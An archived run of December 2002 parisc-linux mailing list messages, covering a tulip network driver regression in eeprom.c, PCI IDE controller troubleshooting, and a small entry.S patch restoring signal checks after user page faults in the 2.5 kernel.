Message-ID: <20021217181901.GA2254@dsl2.external.hp.com>
References: <3DED9BBD000021C7@ocpmta7.freegates.net> <3DED9BBD000022D4@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622033 18776 80.91.229.3 (22 Nov 2014 02:07:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:13 +0000 (UTC)
Cc: Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 11:19:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 24589482E; Tue, 17 Dec 2002 11:19:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DED9BBD000022D4@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17137

On Tue, Dec 17, 2002 at 04:14:10PM +0100, jsoe0708@tiscali.be wrote:
> >I will try to revert tulip driver and advise you.
> Well I find some minutes to do this reverse and it works.
> Still have to find the bug ?

Unfortunately yes.
But since the diff is small, it's alot easier.

I'm most suspicious about the added checks for length field in eeprom.
But I'll review the diff again and tinker with it today or tomorrow.
I added that thinking that code only gets executed when there is no
phy table (eg built-in). But the add-on cards do have a phy table.

grant


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Wed, 18 Dec 2002 07:30:40 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3DED9A6600002207@ocpmta3.freegates.net>
References: <20021217181901.GA2254@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622034 18780 80.91.229.3 (22 Nov 2014 02:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:14 +0000 (UTC)
Cc: "Ed Schaller" <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 23:31:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7BB3482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 23:31:22 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OXjb-0006FE-00; Wed, 18 Dec 2002 07:31:11 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 18 Dec 2002 07:30:40 +0100
In-Reply-To: <20021217181901.GA2254@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17138

Hi Grant,
>
>On Tue, Dec 17, 2002 at 04:14:10PM +0100, jsoe0708@tiscali.be wrote:
>> >I will try to revert tulip driver and advise you.
>> Well I find some minutes to do this reverse and it works.
>> Still have to find the bug ?
>
>Unfortunately yes.
>But since the diff is small, it's alot easier.
>
>I'm most suspicious about the added checks for length field in eeprom.
>But I'll review the diff again and tinker with it today or tomorrow.
>I added that thinking that code only gets executed when there is no
>phy table (eg built-in). But the add-on cards do have a phy table.
>
(well it seems I do mistake when sent following info)
[also because diff is small]
In eeprom.c I also suspect:
line 193: if (ee_data[27] =3D=3D 0 || ee_data[ee_data[27]] =3D=3D 0) {

which I only reverse into:
if (ee_data[27] =3D=3D 0) {

and it works. Unforunately I do not have enough doc to actulay fix the pb=
.
May be Ryan could still help us?

Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] use of the parisc logo?
Date: 18 Dec 2002 21:16:44 +1100
Lines: 11
Approved: news@gmane.org
Message-ID: <1040206605.3192.10.camel@eeyore.sspl.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622034 18781 80.91.229.3 (22 Nov 2014 02:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:14 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 03:16:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta08bw.bigpond.com (unknown [144.135.24.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3130B482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 03:16:53 -0700 (MST)
Original-Received: from piglet2.sspl.net.au ([144.135.24.75]) by
          mta08bw.bigpond.com (Netscape Messaging Server 4.15 mta08bw Jul
          16 2002 22:47:55) with SMTP id H7B8JX00.74G for
          <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 20:16:45 +1000 
Original-Received: from CPE-203-51-31-60.nsw.bigpond.net.au ([203.51.31.60]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V3.0n 26/46332276); 18 Dec 2002 20:16:45
Original-Received: from eeyore.sspl.net.au ([192.168.11.25])
	by piglet2.sspl.net.au with esmtp (Exim 3.35 #1 (Debian))
	id 18ObGq-0006Ql-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 21:17:44 +1100
X-Mailer: Ximian Evolution 1.0.8-3mdk 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17139

Hey Everyone,

What's the go with use of the parisc logo on web pages?  Can I use it?

Thanks,

Pete





From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 serial-mux patch?
Date: Wed, 18 Dec 2002 11:50:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3DED9A66000022EA@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622034 18783 80.91.229.3 (22 Nov 2014 02:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 03:50:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C016482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 03:50:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ObmQ-00018b-00; Wed, 18 Dec 2002 11:50:22 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 18 Dec 2002 11:50:21 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17140

Hi Ryan,

Regarding your patch:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2002-November/03=
1910.html

I would like to ask you some additional: is it also applicable for serial=
-mux
pci card (as Prod J3592A) or scsi-mux (as the 8 port of Central Data)?

Thanks in advance,
    Joel

PS: Do you think it could be easily backport in 2.4 (if not yet done)?

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Steindlberger <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: Tue, 17 Dec 2002 22:04:50 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <courier.3E005801.0000711F@server01>
References: <200212160609.XAA18500@udlkern.fc.hp.com> <1040050989.13786.23.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622035 18784 80.91.229.3 (22 Nov 2014 02:07:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:15 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 04:12:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (server01.steindlberger.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38950482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 04:12:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
  (uid 0)
  by server01 with local; Wed, 18 Dec 2002 12:12:01 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <1040050989.13786.23.camel@irongate.swansea.linux.org.uk>
X-KMail-Transport: smtp://debian.sinnhq.de:25
X-KMail-Identity: bei Moritz
Status: RO
X-Status: Q
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17141

Hi Alan! Great things happened!

I could sweare, that a few weeks ago nothing worked, neither with the nat=
ive=20
IDE drivers nor with PDC20268 options. (That kernel was 2.4.19-pa14). Now=
 it=20
only doesn't work with the special IDE options for this card. Is there a=20
roadmap to fix that prolem? ;-)

Thanks to all who helped me!
Joerg

hp-c240:~# modprobe -k ide-mod
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
PDC20268: IDE controller on PCI bus 00 dev 08
PDC20268: chipset revision 2
PDC20268: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0xfd00-0xfd07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0xfd08-0xfd0f, BIOS settings: hdc:pio, hdd:pio
hp-c240:~# modprobe -k ide-probe-mod
hdd: IBM-DTTA-351680, ATA DISK drive
ide1 at 0xfb00-0xfb07,0xfc02 on irq 97
hp-c240:~# modprobe -k ide-disk
hdd: 33022080 sectors (16907 MB) w/462KiB Cache, CHS=3D32760/16/63
 /dev/ide/host0/bus1/target1/lun0: [PTBL] [2055/255/63] p1
hp-c240:~# mount /dev/ide/host0/bus1/target1/lun0/part1 /mnt/tmp
(works with and without devfs)

On Monday 16 December 2002 16:03, you wrote:
> In legacy mode the PCI BAR registers are ignored, the I/O decode is at
> 0x170 etc and interrupts are flagged by the ISA legacy not by the PCI
> bus.
> That isnt going to work very well on your average PA-RISC box. Most
> probably you want to force the chip into native mode on pa-risc
> hardware.



From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 fix for user level page fault problems
Date: Wed, 18 Dec 2002 10:20:24 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <200212181620.gBIGKOJ02593@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-17170343740"
X-Trace: ger.gmane.org 1416622035 18786 80.91.229.3 (22 Nov 2014 02:07:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:15 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 09:20:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9AEE482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 09:20:40 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id IAA03842
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 08:20:30 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id IAA03563;
	Wed, 18 Dec 2002 08:20:26 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBIGKOJ02593;
	Wed, 18 Dec 2002 10:20:25 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17142

This is a multipart MIME message.

--==_Exmh_-17170343740
Content-Type: text/plain; charset=us-ascii

It seems that going from 2.4 to 2.5 there was an over zealous removal of the 
check signals return path.  The problem is that if a user application takes a 
page fault, that can result in a signal being posted (specifically SEGV for 
illegal memory access).  If we never check the signals, the instruction is 
retried and re-faults ad infinitum (well actually, it seems to terminate with 
an unaligned instruction trap in this case after a few hundred faults).

The attached path makes signal posting on page fault work again

James


--==_Exmh_-17170343740
Content-Type: text/plain ; name="tmp.diff"; charset=us-ascii
Content-Description: tmp.diff
Content-Disposition: attachment; filename="tmp.diff"

===== entry.S 1.8 vs edited =====
--- 1.8/arch/parisc/kernel/entry.S	Sun Nov 24 17:36:53 2002
+++ edited/entry.S	Mon Dec 16 22:09:59 2002
@@ -944,11 +944,11 @@
 	ldo		-16(%r30),%r29	/* Reference param save area */
 #endif
 
-	ldil		L%intr_restore, %r2
+	ldil		L%intr_check_sig, %r2
 	copy		%r25, %r16	/* save pt_regs */
 
 	b		handle_interruption
-	ldo		R%intr_restore(%r2), %r2
+	ldo		R%intr_check_sig(%r2), %r2
 
 
 	/*

--==_Exmh_-17170343740--




From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 fix for user level page fault problems
Date: Wed, 18 Dec 2002 08:34:51 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20021218163451.GB21551@tausq.org>
References: <200212181620.gBIGKOJ02593@localhost.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622035 18789 80.91.229.3 (22 Nov 2014 02:07:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 09:31:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DB15482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 09:31:51 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 34025CD64C; Wed, 18 Dec 2002 08:34:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212181620.gBIGKOJ02593@localhost.localdomain>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17143

In reference to a message from James Bottomley, dated Dec 18:
> It seems that going from 2.4 to 2.5 there was an over zealous removal of the 
> check signals return path.  The problem is that if a user application takes a 
> page fault, that can result in a signal being posted (specifically SEGV for 
> illegal memory access).  If we never check the signals, the instruction is 
> retried and re-faults ad infinitum (well actually, it seems to terminate with 
> an unaligned instruction trap in this case after a few hundred faults).

thanks James. I've commited this to our 2.5 tree. We had fixed this in
2.4 a couple of weeks ago but I forgot to commit this to 2.5 too.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Wed, 18 Dec 2002 10:37:05 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <200212181637.gBIGb5r02708@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622035 18792 80.91.229.3 (22 Nov 2014 02:07:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:15 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 09:37:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84500482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 09:37:15 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id IAA05731
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 08:37:10 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id IAA05545;
	Wed, 18 Dec 2002 08:37:06 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBIGb5r02708;
	Wed, 18 Dec 2002 10:37:05 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17144

I find when booting 2.5.51 up on a C380 that applications seem to take random 
page faults and die.  It seems that the more heavily an application does file 
accesses, the more likely it is to suffer from this.

In debugging the problems, so far it has always been stack manipulation 
instructions in the user level code causing this.  Further, on adding a 
register dump to the page fault debugging code, the reason is that the stack 
pointer is way out of where it should be for a user process (around 0x4f000), 
so I surmise it got clobbered on a rare return path from kernel to user.

Does anyone have any additional information and pointers?  I'm trying to audit 
entry.S to see if there is a little used path that can clobber the stack, but 
my parisc assembly isn't the best...

James




From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Wed, 18 Dec 2002 09:58:13 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20021218165813.GA17944@dsl2.external.hp.com>
References: <20021216231132.GC854@dsl2.external.hp.com> <3DED9BBD0000213A@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622036 18795 80.91.229.3 (22 Nov 2014 02:07:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:16 +0000 (UTC)
Cc: Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 09:58:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DFA15482E; Wed, 18 Dec 2002 09:58:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DED9BBD0000213A@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17145

On Tue, Dec 17, 2002 at 08:12:03AM +0100, jsoe0708@tiscali.be wrote:
> Just to avoid you loose time here is a diff:
...
> -	if (ee_data[27] == 0) {		/* No valid media table. */
